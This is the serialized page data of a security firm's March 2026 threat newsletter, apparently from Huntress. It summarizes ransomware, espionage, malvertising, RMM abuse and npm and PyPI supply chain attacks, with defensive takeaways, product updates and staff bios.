found.","useZeroBasedIndex","scrollAnchorId","authors-list-pagination-scroll-anchor","arrowImageUrl","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F779e332a141048329fb98c924119138a","scrollTo","anchor","showPaginationWhenOnePage",[1595,1599],{"_37":1495,"_1496":1596},{"_123":32,"_1498":1597},{"_1500":1501,"_1502":1598},{"_1504":1505,"_1506":1507},{"_37":1509,"_1496":1600},{"_123":6,"_1468":32,"_1511":1601,"_125":32,"_1516":1603},{"_1500":1428,"_1513":32,"_1502":1602},{"_1504":1505,"_1515":1505},{"_1500":1428,"_1513":32,"_1502":1604},{"_1504":1505,"_1515":1505},"useContextData","contextDataIdentifier",{"_1436":1608},{"_1559":1560,"_1561":25,"_1502":1562,"_1563":1505,"_1564":1565,"_1609":1610,"_1568":1611},"marginRight","var(--space-0, 0px)","72px",{"_1350":1351,"_1352":18,"_1053":1613,"_1354":1614,"_1556":1656},"builder-64c5a39ec8e646c5b124ae7b6fddb526",{"_19":1615,"_1357":1616,"_1535":-5},"BlogSignupSection",{"_1390":6,"_1391":1617,"_47":1618,"_1430":1619,"_37":1620,"_1621":1622,"_1492":1633,"_205":1640,"_1650":1651},"Heading Qualifier","Sign Up for Blog Updates","Subscribe today and you'll be the first to know when new content hits the blog.","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Fcb5efa5143804ba59d530a903d29fe5f","blogSignupForm",{"_1623":1624,"_1625":6,"_1626":1627,"_1628":1629,"_1630":6,"_1631":6,"_1632":6},"formId","wf-form-Blog-Signup-Form","showFormTitle","submitButtonText","Submit","hubspotFormId","5198e52f-a296-4d78-935d-fe864d69a67a","showBlueGreenGradient","showBluePurpleGradient","useNeverBounce",[1634],{"_37":1635,"_1496":1636},"https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F3de86f848e7b4a788c5d296dbf0dc07c",{"_123":32,"_1498":1637},{"_1500":1638,"_1502":1639,"_1513":32},300,{"_1504":1505,"_1515":460},{"_1641":32,"_43":1642,"_1643":1644,"_1645":1646,"_854":1647,"_1648":1649},"show","gradientGreenBlue","angle","60deg","angleRange",60,"blur(40px)","blurSize",35,"contentContainer",{"_1652":1653,"_1654":1655},"maximumWidth","1200","customWidth",1200,{"_1436":1657},{"_1559":1560,"_1561":25,"_1502":1562,"_1563":1505,"_1564":1565,"_1566":1567,"_1568":1567},{"_1053":1659,"_1350":1351,"_1660":1661,"_1662":1663,"_1556":1671},"builder-pixel-i9f4hnt8x5q","tagName","img","properties",{"_1664":1665,"_1666":1667,"_1668":422,"_1669":1378,"_1500":1505,"_1670":1505},"src","https://cdn.builder.io/api/v1/pixel?apiKey=3eb6f92aedf74f109c7b4b0897ec39a8","aria-hidden","true","alt","role","height",{"_1436":1672},{"_1670":1505,"_1500":1505,"_1559":1673,"_1674":1505,"_1675":1676,"_1677":1448},"block","opacity","overflow","hidden","pointerEvents","/threat-library/adversary-tactics","state",{"_1681":1436,"_1682":1683},"deviceSize","location",{"_1684":1678,"_1685":1686,"_1688":1689},"pathname","path",[1687,1328],"threat-library","query",{},"866f5e547e02448b8dcd697e95e8267d","modelId","3fa669f9656b425bbe84446dd9c5a7cd","published",[1695],{"_1350":1696,"_1697":1698,"_1699":1700,"_1701":1678},"@builder.io/core:Query","operator","is","property","urlPath","value","stageModifiedSincePublish","testRatio","variations",{},"builderApiKey","3eb6f92aedf74f109c7b4b0897ec39a8","pageContextData",[1710],{"_1327":1328,"_1056":1711,"_1325":1326},[1712,2095,2249,2435,2617,2791,2976,3136],{"_1053":1713,"_19":1714,"_1056":1715},"071542bc0f0e4e2c9bd9e787cd7f0158","Threat View from the Lens of Huntress Adversary Tactics: March 2026",{"_35":1716,"_1362":1717,"_1722":1723,"_1725":1726,"_1112":1977,"_1983":1984,"_1985":1986,"_1989":1990,"_1776":1991,"_19":1714,"_1993":1994,"_2081":2082,"_2083":2084,"_1764":2090,"_2091":2092,"_2093":2094},"Profile of the Huntress Logo",[1718,1719,1720],{"_1367":631,"_1365":628},{"_1367":1678,"_1365":1370},{"_1365":1721},"March 2026","continueReading",{"_1724":32},"showSection","contributors",[1727,1805,1843,1879,1912,1944],{"_1728":1729},"contributor",{"_1350":1730,"_1053":1731,"_1327":1732,"_1701":1733},"@builder.io/core:Reference","66048bf7c9e8c5c4746884a7","people",{"_1734":1735,"_1053":1731,"_19":1736,"_1691":1737,"_1693":1693,"_1702":6,"_1688":1738,"_1056":1739,"_1704":1782,"_1783":1784,"_1785":1735,"_1703":118,"_1786":1787,"_1788":1789,"_1790":1791,"_1792":1793,"_1803":1804},"createdDate",1742719352103,"Jamie Levy","d50b5ec346a64579b280b4104dca236e",[],{"_1740":1741,"_1742":1743,"_1744":1745,"_1746":1747,"_1758":1759,"_1760":1761,"_1762":1763,"_1764":1765,"_1766":1767,"_19":1736,"_1768":1769,"_1770":1771,"_1772":1773,"_1774":1775,"_1776":1777},"bioDetail","

Jamie is also a researcher, developer and board member of the Volatility Foundation. She has worked over 15 years in the digital forensics industry, conducting investigations as well as building out software solutions. Jamie is also a co-author of The Art of Memory Forensics, the first book of its kind covering various facets of how to investigate RAM artifacts.

‍

","profileImageAltText","Jamie Levy profile picture","specialties","initial access","groups",[1748,1752,1755],{"_1749":1750},"group",{"_1350":1730,"_1053":1751,"_1327":1746},"00d1d80145b14a6b87c45567b169a8f4",{"_1749":1753},{"_1350":1730,"_1053":1754,"_1327":1746},"babc0d8823f34ab894a4431d5b302dc7",{"_1749":1756},{"_1350":1730,"_1053":1757,"_1327":1746},"94f0a1d881ef4adf9cb8bc81412d8c85","companyName","Huntress","lastName","Levy","portraitImage","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Fa50ef9a9091b4b1b953f24c04cee8b3a","slug","jamie-levy","jobTitle","Senior Director, Adversary Tactics","linkedInUrl","https://www.linkedin.com/in/jlevy77/","firstName","Jamie","profileImage","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Ff466d74a8f3b4603b6f5a9662a0612c0","bioDetailShort","Jamie is also a researcher, developer and board member of the Volatility Foundation. She has worked over 15 years in the digital forensics industry, conducting investigations as well as building out software solutions.","metadata",{"_1778":1779,"_134":1780,"_1781":6,"_171":6},"description","Read blog posts from Jamie Levy on the Huntress Blog.","Jamie Levy | Huntress","noIndex",{},"lastUpdated",1776020886043,"firstPublished","createdBy","0XU3rreLLCPzgsmuIQDqjlW9xhs2","lastUpdatedBy","XBN8lOXr7QMH6JvQimte3OCtO6c2","folders",[],"meta",{"_1794":1056,"_1795":1796,"_1801":422,"_1802":6},"kind","breakpoints",{"_1797":1798,"_855":1799,"_567":1800},"xsmall",479,767,991,"lastPreviewUrl","hasAutosaves","rev","xmwwo7jp3uo",{"_1728":1806},{"_1350":1730,"_1053":1807,"_1327":1732,"_1701":1808},"66048bf51de5bd420f2f2608",{"_1734":1809,"_1053":1807,"_19":1810,"_1691":1737,"_1693":1693,"_1688":1811,"_1056":1812,"_1704":1837,"_1783":1838,"_1785":1809,"_1703":118,"_1786":1787,"_1788":1789,"_1790":1839,"_1792":1840,"_1803":1842},1742719359732,"John Hammond",[],{"_1776":1813,"_1742":1816,"_19":1810,"_1817":1818,"_1758":1759,"_1746":1819,"_1762":1826,"_1770":1827,"_1764":1828,"_1766":1829,"_1740":1830,"_1831":1832,"_1772":1833,"_1760":1834,"_1768":1835,"_1774":1836},{"_171":6,"_134":1814,"_1778":1815,"_1781":6},"John Hammond - Principal Security Researcher | Huntress","Read blog posts from John Hammond on the Huntress Blog.","John Hammond, Huntress","xTwitterUrl","https://twitter.com/_johnhammond",[1820,1822,1824],{"_1749":1821},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":1823},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":1825},{"_1350":1730,"_1053":1757,"_1327":1746},"https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F7743d3ad18734d4697f9e4aa467e670b","John","john-hammond","Senior Principal Security Researcher","

Capturing flags, thwarting threats, and making cybersecurity accessible one endpoint at a time.

John Hammond is a cybersecurity researcher, educator and content creator. As part of the Adversary Tactics team at Huntress, John spends his days investigating hacker tradecraft and telling the stories behind current threats. Previously, as a Department of Defense Cyber Training Academy instructor, he taught the Cyber Threat Emulation course, educating both civilian and military members on the adversarial mindset and real-world attacks. John is an online YouTube personality, showcasing live demonstrations of malware, vulnerabilities, exploits, and broader cybersecurity education.

With a stack of certifications—including LFCS, PCAP, CompTIA Security+, CEH, eJPT, eCPPT, OSCP, OSCE (classic and 3), OSWP, OSEP, OSED, and OSWE—John brings serious technical prowess to the team. He’s honored to have received the RITA Award at Wild West Hacking Fest from Black Hills Information Security, and he credits the supportive, mission-driven environment at Huntress for enabling him to do meaningful work.

John’s impact extends globally as a leading educator and influencer; he was recently recognized by the French service Favikon as the #1 cybersecurity content creator in their Top 200 Creators Worldwide list, highlighting his massive influence and dedication to the community.

John is also an active voice in the community, sharing his experience through these Huntress on-demand webinars:

Before joining Huntress, John served as an instructor and curriculum developer with the Department of Defense Cyber Crime Center and Cyber Training Academy, and later as a Red Team Cyber Operator at the Defense Threat Reduction Agency.

His top cybersecurity tip is a simple one: “Use a password manager—seriously!!”

Outside of work, John loves spending time with his family and taking the rest he needs to stay sharp. He also shares his life with two dogs, Bam Bam and Pebbles—named after the beloved Flintstones characters, of course.

Give John a follow on his socials:

‍

","instagramUrl","https://www.instagram.com/_johnhammond/","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F0ebcc8e098b842e3b6c5d44ae153b485","Hammond","https://www.linkedin.com/in/johnhammond010/","A cybersecurity researcher, educator, and YouTube personality, John spends his days investigating hacker tradecraft and telling the stories behind current threats, showcasing live demonstrations of malware, vulnerabilities, exploits, and broader cybersecurity education.",{},1775495101283,[],{"_1801":422,"_1795":1841,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},"ow2hkneqx2",{"_1728":1844},{"_1350":1730,"_1053":1845,"_1327":1732,"_1701":1846},"66032c1a34a761fda5e296f5",{"_1734":1847,"_1053":1845,"_19":1848,"_1691":1737,"_1693":1693,"_1688":1849,"_1704":1850,"_1785":1847,"_1703":118,"_1786":1851,"_1788":1789,"_1790":1852,"_1792":1853,"_1783":1855,"_1056":1856,"_1803":1878},1742719371916,"Harlan Carvey",[],{},"wAnY6pD8qneav3wmIkWFzKSZXNM2",[],{"_1795":1854,"_1801":422,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},1776023138814,{"_1766":1857,"_1770":1858,"_1772":1859,"_1758":1759,"_1762":1860,"_1768":1861,"_1817":1862,"_1746":1863,"_1764":1870,"_1760":1871,"_19":1848,"_1776":1872,"_1740":1875,"_1774":1876,"_1742":1877},"Principal Threat Intelligence Analyst","Harlan","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Ffa69b31eae1e4264b7c12bcfa5e0f9a5","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F110b52ecaef146ec9ea537d88a5ab596","https://www.linkedin.com/in/harlan-carvey-86a8694b/","https://x.com/keydet89",[1864,1866,1868],{"_1749":1865},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":1867},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":1869},{"_1350":1730,"_1053":1757,"_1327":1746},"harlan-carvey","Carvey",{"_1781":6,"_171":6,"_134":1873,"_1778":1874},"Harlan Carvey - Principal Threat Intelligence Analyst | Huntress","Read blog posts from Harlan Carvey, Principal Threat Intelligence Analyst on the Huntress Blog.","

Hanging out where digital forensics meets incident response and threat intel.

“I was in grad school in 1994, and came across something interesting. The \"finger\" app was described as a 'security vulnerability'. I had no idea why this was the case, so I asked the senior sysadmin for the curriculum. She looked at me, smiled, and walked away without saying a word.” So began Harlan’s affinity for digging into head-scratching security questions.

Harlan is Staff Threat Intel Analyst, Adversary Tactics here at Huntress, poised at the intersection of digital forensics and incident response, threat hunting, and threat intel.

He leverages his extensive 20+ years of DFIR (Digital Forensics and Incident Response) experience to focus on threat intelligence, which is essentially unraveling how threat actors are looking to gain entry on endpoints and finding ways to detect it sooner in the attack cycle. Prior to Huntress, Harlan ran the internal SOC at EY. \t

But he doesn’t keep it all to himself, Harlan is an accomplished public speaker, writer, innovative researcher, and analyst. As a published author (besides the below blog posts!), Harlan has published 9 books, including the first book of its kind offering an analysis of the Windows Registry.

When he’s not at work, Harlan enjoys programming in Perl, reading, writing, and working around the farm.

‍

What's your favorite cybersecurity tip, Harlan?
“Do the basics well, beginning with an asset inventory and attack surface reduction.”

‍

","With over 20 years of Digital Forensics and Incident Response experience, Harlan is an accomplished public speaker, writer, innovative researcher, and analyst.","Harlan Carvey profile picture","sr9lx62usup",{"_1728":1880},{"_1350":1730,"_1053":1881,"_1327":1732,"_1701":1882},"6697eab7ecd63dccbf273c8b",{"_1734":1883,"_1053":1881,"_19":1884,"_1691":1737,"_1693":1693,"_1688":1885,"_1704":1886,"_1785":1883,"_1703":118,"_1786":1851,"_1788":1789,"_1790":1887,"_1792":1888,"_1783":1890,"_1056":1891,"_1803":1911},1742719345389,"Greg Linares",[],{},[],{"_1795":1889,"_1801":422,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},1776023169526,{"_1766":1857,"_1772":1892,"_1770":1893,"_1762":1894,"_1746":1895,"_1817":1902,"_1764":1903,"_1760":1904,"_1774":1905,"_19":1884,"_1740":1906,"_1776":1907,"_1742":1910},"https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F37c8efc8c38f4adbb63f169c7592f7b2","Greg","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F23adc6976e58484583e45bc5ebcf9d20",[1896,1898,1900],{"_1749":1897},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":1899},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":1901},{"_1350":1730,"_1053":1757,"_1327":1746},"https://x.com/Laughing_Mantis","greg-linares","Linares","Also known as Laughing Mantis. He is the youngest hacker to be arrested in Arizona.","

Also known as Laughing Mantis. He is the youngest hacker to be arrested in Arizona - which you can listen to on the Darknet Diaries.

",{"_1781":6,"_171":6,"_134":1908,"_1778":1909},"Greg Linares | Huntress","Read blog posts from Greg Linares, Principal Threat Intelligence Analyst, on the Huntress Blog.","Greg Linares profile picture","tzmrfr3b2ba",{"_1728":1913},{"_1350":1730,"_1053":1914,"_1327":1732,"_1701":1915},"5c093b0116de4cea96de1ada07acdfd8",{"_1734":1916,"_1053":1914,"_19":1917,"_1691":1737,"_1693":1693,"_1688":1918,"_1056":1919,"_1704":1936,"_1783":1937,"_1785":1938,"_1703":118,"_1786":1939,"_1788":1789,"_1790":1940,"_1792":1941,"_1803":1943},1769027095568,"Casey Smith",[],{"_1742":1917,"_1766":1920,"_1772":1921,"_1770":1922,"_1768":1923,"_1758":1759,"_1335":1924,"_1764":1925,"_1746":1926,"_1740":1931,"_1776":1932,"_19":1917,"_1760":1934,"_35":1917,"_1774":1935},"Staff Threat Intelligence Analyst","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Fa4a4838f93924f45a602b2b869e9eb0f","Casey","https://www.linkedin.com/in/casey-s-3562223a6/",{},"casey-smith",[1927,1929],{"_1749":1928},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":1930},{"_1350":1730,"_1053":1757,"_1327":1746},"

Casey Smith's cybersecurity journey began in the early 2000s at Cisco Systems, where he contributed to the groundbreaking SAFE (Secure Architecture for Enterprise) initiative — sparking a career-long passion for testing the boundaries of defensive systems. He is the co-creator of Atomic Red Team, a widely adopted open-source testing framework, and has held impactful roles at Red Canary, Thinkst Canary, and in the financial sector.

At Huntress, Casey focuses on adversary tactics with a keen interest in identity-based attacks. He's driven by a simple but powerful philosophy: if you haven't tested it, it doesn't work. When he's not outsmarting adversaries, Casey can be found exploring the Colorado outdoors or diving into a good non-fiction book.

",{"_134":1917,"_1778":1933},"Read cybersecurity blogs from Casey Smith on the Huntress Blog. ","Smith","He is the co-creator of Atomic Red Team, a widely adopted open-source testing framework, and has a passion for testing the boundaries of defensive systems.",{},1775494109321,1769027249922,"rqPhimgdOfVCrDCbaxcCVZPJeJc2",[],{"_1794":1056,"_1795":1942,"_1801":422,"_1802":32},{"_1797":1798,"_855":1799,"_567":1800},"o2sep6e544",{"_1728":1945},{"_1350":1730,"_1053":1946,"_1327":1732,"_1701":1947},"7fb779bf8ddf42fda6c8463ccdf60a68",{"_1734":1948,"_1053":1946,"_19":1949,"_1691":1737,"_1693":1693,"_1688":1950,"_1056":1951,"_1704":1969,"_1783":1970,"_1785":1971,"_1703":118,"_1786":1972,"_1788":1789,"_1790":1973,"_1792":1974,"_1803":1976},1744385801818,"Lindsey O'Donnell-Welch",[],{"_1760":1952,"_1764":1953,"_1742":1954,"_1758":1759,"_1768":1955,"_1776":1956,"_1772":1958,"_35":1959,"_1740":1960,"_19":1949,"_1766":1961,"_1746":1962,"_1770":1967,"_1774":1968},"O'Donnell-Welch","lindsey-odonnell-welch","Lindsey O'Donnell-Welch Huntress ","https://www.linkedin.com/in/lindsey-o-donnell-welch-abb72b4a/",{"_134":1949,"_1778":1957},"Read blog posts from Lindsey O'Donnell-Welch on the Huntress Blog.","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F037877a541484d86ac239373c502608a","Huntress Default Headshot Image","

With more than a decade of experience translating complex security topics into compelling stories, Lindsey brings a sharp editorial eye and a passion for clarity to the Huntress team. Her mission? Breaking down the intricate world of cybersecurity to make it accessible for everyone. It’s one of the many reasons she loves being part of Huntress, where educating the public about threats takes center stage.

Before joining Huntress, Lindsey built her reputation in journalism, covering the intersection of technology and businesses. She’s reported for top cybersecurity publications like Threatpost and Decipher, delivering trusted coverage on everything from the SolarWinds supply chain breach to the SEC’s cybersecurity disclosure rules.

Lindsey’s go-to security advice? “Enable MFA and use a password manager—your future self will thank you.”

When she’s not writing about cyber threats, you’ll likely find her on the tennis court or exploring new trails with her endlessly energetic pup.

","Principal Technical Community Engagement Writer",[1963,1965],{"_1749":1964},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":1966},{"_1350":1730,"_1053":1757,"_1327":1746},"Lindsey ","With over 10 years of experience, Lindsey makes the intricate world of cybersecurity more accessible, translating complex security topics into compelling stories. ",{},1775495668750,1744404673182,"0dThli925XPdcsMI4MRs7L7KCv22",[],{"_1795":1975,"_1801":422,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},"oed3h0iyrv",{"_1067":1978,"_37":1980,"_1430":1981,"_134":1982},{"_136":1079,"_137":49,"_41":1979},"Try Huntress for Free","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F20e067bb0c2e4e3b8a1588c7b4a9f616","

See how the global Huntress SOC can augment your team
with 24/7 coverage and unmatched human expertise.
Start your free trial today.

","Detect, Respond, Protect","indexOverride",{},"introSection",{"_1987":1988,"_47":422,"_1724":32},"content","

Welcome to the Adversary Tactics newsletter, your information source for the emerging threats we’re tracking at Huntress and around the world. Let’s work together to wreck hackers who relentlessly target the most vulnerable community: our customers, partners, and their customers. Be safe. Be vigilant. But first, stay informed!

","keyTakeaways",{"_1987":422,"_1724":6},{"_1778":1992,"_134":1714},"Huntress Adversary Tactics March 2026 breaks down MuddyWater attacks, INC ransomware, RMM-based initial access, and the axios npm supply chain compromise.","newsletterContent",{"_1995":1996},"topics",[1997,2015,2036,2047,2060,2071],{"_1998":1999,"_21":2000,"_2011":2012,"_2013":2014},"icon","https://cdn.builder.io/api/v1/image/assets%2F56539a05dc944fe088e47bb383845dd1%2F4b19336886cb4ccda5d6bf6d825eae04",[2001,2007],{"_1987":2002,"_47":2003,"_2004":32,"_2005":2006},"

In March, Huntress peeled back an Iranian-linked intrusion (tracked as MuddyWater) within an Israeli network. The attackers gained entry via RDP and used DLL side-loading, where they tricked a legitimate file (FMAPP.exe) into loading up a DLL with malicious code. In a twist, analysts saw the hackers fumbling commands in real-time and struggling with their command-and-control (C2) server. It’s a detailed look at high-level tactics paired with rocky execution errors. Read the full analysis here.

$\"\"$ The timeline of activities developed from detection data

\n","Wading Through a (Muddy)Water Attack","showTakeaway","takeawayContent","

Security teams should monitor and correlate routine-looking RDP logins, built-in SSH usage, and signed binaries like FMAPP.exe for DLL side-loading to quickly surface MuddyWater-style intrusions.

",{"_1987":2008,"_47":2009,"_2004":32,"_2005":2010},"

Huntress analysts traced a recent INC ransomware incident back to something many orgs overlook: incomplete visibility. After targeting a customer with no SIEM and limited agent deployment, the threat actor mapped a network share, used PsExec for privilege escalation, then scheduled a PowerShell script that quietly configured Restic—renamed as winupdate.exe—to exfiltrate data. They disabled existing security tools, turned off Defender, and finally pulled the trigger on encryption. Correlated activity from a nearly identical February case helped expose the attacker’s shared backup infrastructure and tradecraft. Read more in this blog post.

","INC Ransomware and Limited Visibility","

For security teams, this case is a stark example of how incomplete endpoint and SIEM coverage creates blind spots that let ransomware actors quietly stage and exfiltrate data with legitimate backup tools and LOLBins.

","topicDescription","

Adversary Tactics documents, makes sense of, and informs the broader community about interesting threats that surface from our SOC. Here are some examples of standout trends we’ve seen in the last few weeks.

","topicTitle","Threats Seen in the SOC",{"_1998":2016,"_21":2017,"_2011":2034,"_2013":2035},"https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F3975d45a6b0c42dc8f97bb494f726f8b",[2018,2022,2026,2030],{"_1987":2019,"_47":2020,"_2004":32,"_2005":2021},"

Tax season is here, and the tax-themed lures are already pouring in. A massive malvertising campaign was found hijacking W-2/W-9 searches, dropping rogue ScreenConnect instances, stacking multiple RMMs, and then abusing a previously undocumented Huawei audio driver to kill Defender, Kaspersky, and SentinelOne processes from kernel mode. Anna Pham, senior hunt and response analyst, detailed the attack in a blog post.

$\"\"$ Rogue ScreenConnect delivery page

","Tax Forms, Fake Ads, Real Kernel Panic","

Treat tax-form Google Ads, trial ScreenConnect relays, and unapproved RMMs with suspicion. Hunt in C:\\Windows\\SystemTemp\\ScreenConnect\\ for unsigned or unknown binaries.

",{"_1987":2023,"_47":2024,"_2004":32,"_2005":2025},"

Attackers aren’t just “hacking in” – they’re installing your tools. A recent blog post by Chad Hudson, senior hunt and response analyst, looked at a campaign where low-skill crews daisy-chained legit RMM and deployment platforms (SimpleHelp, HeartbeatRM, ScreenConnect, etc.) behind Social Security and invite-themed lures, brute-forced MSI downloads from GitHub, and even tested Huntress itself to tune their playbooks.

","RMM Abuse: When ‘Remote Help’ Becomes Initial Access","

RMM abuse is up 277% and now fuels everything from infostealers to credential raids. As Chad said in his blog, “RMM abuse isn’t really a tooling problem; it’s a trust problem.”

",{"_1987":2027,"_47":2028,"_2004":32,"_2005":2029},"

From Jai Minton (manager, hunt and response) and Ryan Dowd (principal security operations center analyst): A new blog post broke down an incident where fake OpenClaw installers on GitHub rode AI-powered Bing search straight onto victims’ machines, dropping Vidar / PureLogs infostealers, a new Stealth Packer, and GhostSocks to turn endpoints into residential proxies for MFA-busting fraud and follow-on attacks across Windows and macOS.

","Fake OpenClaw Installers, GhostSocks & AI-Poisoned Search","

As new technologies emerge, threat actors are targeting technical users with administrative privileges. It’s important to educate these high-risk employees on identifying malicious installers and understanding tech-related risks.

",{"_1987":2031,"_47":2032,"_2004":32,"_2005":2033},"

Fake “IT support” calls aren’t just after your gift cards anymore: they’re using fake Outlook Antispam Control Panels, DLL sideloading, and more to deploy Havoc, an open-source post-exploitation command-and-control (C2) framework. It’s social engineering up front, network compromise out back, with RMM abuse as the safety net. This blog post by Anna Pham, Michael Tigges (senior hunt and response analyst) and Bryan Masters (senior hunt and response analyst) dissected the campaign.

$\"\"$ Intrusion chain

","Tech Support on the Line, Havoc in Your Network","

Lock down RMM usage, hunt for DLL sideloading and use security awareness training.

","

Our Hunting & Tactical Response team was developed as a separate function within our SOC for deep dives into intrusions and to answer partners’ questions outside the scope of 24x7 SOC operations. It meets the “sweet spot” between a standard MDR offering and a more intensive and formal Incident Response. Our Tactical Response findings also give us a lot of clues about how intrusions play out.

","Tactical Response",{"_1998":2037,"_21":2038,"_2011":2045,"_2013":2046},"https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Fa62e93bb305341489b4d21359e5b62fb",[2039,2042],{"_1987":2040,"_47":2041,"_2004":6,"_2005":422},"

TeamPCP is running a developer-side crime spree. After slipping into security tools like Trivy via tampered GitHub Actions tags and booby-trapping NPM and Docker Hub, they crashed PyPI with backdoored Telnyx releases. Those two “updates” (4.87.1, 4.87.2) quietly pulled a credential-stealing payload hidden in a WAV file, then ran it in memory on Windows, macOS, and Linux as soon as you imported the package.

The result: instant, high-trust access to CI/CD and dev laptops, perfect for ripping out secrets and pivoting into dozens of orgs at once—no zero-day required.

","TeamPCP’s Supply Chain Spree",{"_1987":2043,"_47":2044,"_2004":6,"_2005":422},"

Russian APT TA446/Star Blizzard is now using the leaked DarkSword iOS exploit kit in targeted spear-phishing campaigns, sending Atlantic Council–themed emails that drive iPhone users through DarkSword to deploy GHOSTBLADE and related tooling for data theft and intelligence collection. In parallel, the Coruna exploit kit—an evolution of the 2023 Operation Triangulation framework—is being used in web-based attacks against iOS 13–17.2.1, triggered simply by visiting compromised sites. Apple has responded with Lock Screen “Critical Software” alerts urging users on older iOS/iPadOS versions to update immediately to reduce exposure.

","iOS Exploit Kit Concerns","

","Threats Around the World",{"_1998":2048,"_21":2049,"_2011":2058,"_2013":2059},"https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F469b0ef77d6e4a458b3053f54b924284",[2050,2052,2054,2056],{"_1987":2051,"_47":48,"_2005":422},"

Attack Disruption: The Managed EDR agent can now interfere with attackers as they move in real time. By automatically terminating malicious processes, we disrupt the attacker’s playbook forcing them to adapt on the fly giving our SOC analysts precious minutes to respond and contain the threat. See how Attack Disruption prevented ransomware in this blog.

Defender & Process Insight exclusions tightened: You can now bulk-approve and set Microsoft Defender exclusions to last indefinitely, while new Process Insight exclusions can no longer be created self-service—partners will work directly with Huntress if performance issues arise, preserving critical EDR visibility.

Vulnerable Driver Detection: Vulnerable Drivers (aka: Bring Your Own Vulnerable Driver, BYOVD) are the foundations of most EDR Killers. Attackers use vulnerable drivers to escalate their privileges on a system with the ultimate goal of disabling security products to carry out their attacks unimpeded. Managed EDR detects when vulnerable drivers are loaded on a system so we can take action before the attackers do.

",{"_1987":2053,"_47":1136,"_2005":422},"

Managed ITDR for Google Workspace Now Live: We’re excited to announce that we’ve released Managed ITDR for Google Workspace (GWS)! This is a huge moment for Huntress. Identity attacks aren’t just a Microsoft problem - attackers go wherever identities live. And now, we meet them there. With Managed ITDR for GWS, we’re bringing the same outcomes our partners and customers already trust us for - real detection, real response, human-led - into Google Workspace environments. Read more about Managed ITDR for GWS in our new blog, Huntress Managed ITDR for Google Workspace: Defending the New Identity Attack Surface.

BEC is now an identity problem in Google Workspace: In a new blog, Erin Meyers and Jenko Hwong break down how business email compromise in Google Workspace has evolved from simple invoice scams into multi-stage identity abuse, where attackers steal credentials or tokens, abuse OAuth, hide alerts with mailbox rules, and pivot into other SaaS apps via password resets and MFA emails—proving that BEC is now an ITDR challenge that demands identity-centric detection of auth behavior, OAuth consent, mailbox changes, and cross-SaaS activity, not just traditional email content filtering.

",{"_1987":2055,"_47":69,"_2005":422},"

This month in Managed SIEM, AWS CloudTrail log source was released with an improved onboarding workflow. The Source Management -> Categories page now contains icon information with links for each log source type, which link to the appropriate support configuration guide. Finally, the Huntress Linux agent now supports Syslog collection for Managed SIEM.

",{"_1987":2057,"_47":1202,"_2005":422},"

Report Phishing plug-ins now upload complete messages via API, sending reported phishing emails as full message attachments with all headers preserved and including the learner as a recipient to give admins richer context for investigation.

A new Smishing Threat Simulation puts learners in the driver’s seat with Joey Broke, using AI to craft realistic SMS phishing attacks and spotlight just how cheap and easy it is for attackers to launch convincing smishing campaigns at scale.

$\"\"$ Smishing threat simulation episode artwork

","

While not a direct product of the Adversary Tactics team, we’d like to highlight some killer new capabilities that our partners in Product Research and Product have released to help mess up attackers. We can’t wait to start using this data to expand our understanding of the threat actors our customers face.

Check out this month’s Product Lab, where Huntress CEO Kyle Hanslovan and CTO Chris Bisnett tuned in live from RSA to talk about product updates, upcoming features, and the vibes from the conference this year.

$\"\"$ March 2026 Product Lab

","Relevant Product Updates",{"_1998":2061,"_21":2062,"_2011":2069,"_2013":2070},"https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F3f67ff681f8e4b85b725378953a10bd2",[2063,2066],{"_1987":2064,"_47":2065,"_2004":6,"_2005":422},"

A sophisticated supply chain attack hit the axios npm package, which has over 100 million weekly downloads. Attackers hijacked a maintainer’s account to publish malicious versions (1.14.1 and 0.30.4) containing a hidden dependency, plain-crypto-js. This dependency executed a silent script during installation, deploying a cross-platform Remote Access Trojan (RAT) to steal credentials from Windows, macOS, and Linux systems.

$\"\"$ Huntress EDR detecting the execution of this attack chain

Huntress detected the first infections 89 seconds after the malicious package went live. Our team provided critical remediation steps—including rotating all environment creds and auditing lockfiles—to help teams recover from the compromise. Check out the full blog post about the attack here.

